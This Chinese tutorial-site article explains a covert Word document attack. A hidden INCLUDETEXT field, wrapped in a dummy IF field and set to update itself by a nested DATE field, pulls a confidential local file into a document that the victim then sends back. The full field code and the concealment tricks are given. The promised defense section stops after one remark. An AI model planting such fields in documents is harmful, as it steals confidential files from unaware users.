明輝手游網(wǎng)中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

Word也會作間諜

[摘要]一、無聲的攻擊   下屬B給領(lǐng)導A發(fā)了一個Word文檔,按照正常的辦公流程,領(lǐng)導A應該在修訂、簽署文檔后把它發(fā)回給下屬B。領(lǐng)導A先給Word文檔殺毒,確認文檔安全之后才打開它。但是,當最后領(lǐng)導A把已...
一、無聲的攻擊   下屬B給領(lǐng)導A發(fā)了一個Word文檔,按照正常的辦公流程,領(lǐng)導A應該在修訂、簽署文檔后把它發(fā)回給下屬B。領(lǐng)導A先給Word文檔殺毒,確認文檔安全之后才打開它。但是,當最后領(lǐng)導A把已簽字的文檔發(fā)回給下屬B時,這個Word文檔卻順手牽羊,偷走了領(lǐng)導A電腦上的一份機密文檔c:a.txt。   那么,下屬B是怎樣完成這次竊密的呢?原來,下屬B在文檔中插入了一個INCLUDETEXT域。這個域插入到了文檔最后一頁的腳注之中,域的完整代碼是:{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" } * MERGEFORMAT } = "" "" * MERGEFORMAT }。其中INCLUDETEXT域的作用就是把指定的文件嵌入到當前文檔,但它不是宏,所以不會引起Word的安全警告。   用INCLUDETEXT域?qū)嵤┕魰r,有兩個關(guān)鍵的問題需要解決:第一,必須隱藏INCLUDETEXT域,避免INCLUDETEXT域被領(lǐng)導A發(fā)現(xiàn);第二,INCLUDETEXT域必須在經(jīng)過一次更新操作后才會引入目標文件。   首先來看第一個問題。要隱藏INCLUDETEXT域,可以根據(jù)Word文檔的結(jié)構(gòu)特點,采用多種辦法,例如隱藏文字、小而無色的字體等。一種比較通用的辦法是,將INCLUDETEXT域嵌入到一個“啞”的IF域。所謂啞的IF域,就是輸出結(jié)果總是空字符串的IF域。   至于INCLUDETEXT域的更新問題,對于大型的、包含許多正常域的Word文檔,這通常不存在問題,因為收到文檔的人一般會更新所有的域。但是,下屬B采用了一個更好的辦法,即在INCLUDETEXT域里面嵌入了一個DATE域,且這個DATE域是文檔中的最后一個DATE域,于是整個域就變成了自動更新的域。   下面我們來看看如何避免這種信息泄漏。 二、堅固的防御   顯然,這種攻擊如果要得逞,攻擊者必須知道機密文檔的確切名稱和路徑。但是,對于一起工作的同事來說,攻擊成功的可能性大大增加。例如,如果某個人沒有訪問服務器上共享文件的權(quán)限,但知道共享目錄和文件的位置、名稱,他就可以借助這種攻擊,利用另一個人的身份獲得共享文件。
Office辦公軟件是辦公的第一選擇,這個地球人都知道。除了微軟Office,市面上也存在很多其他Office類軟件。




相關(guān)文章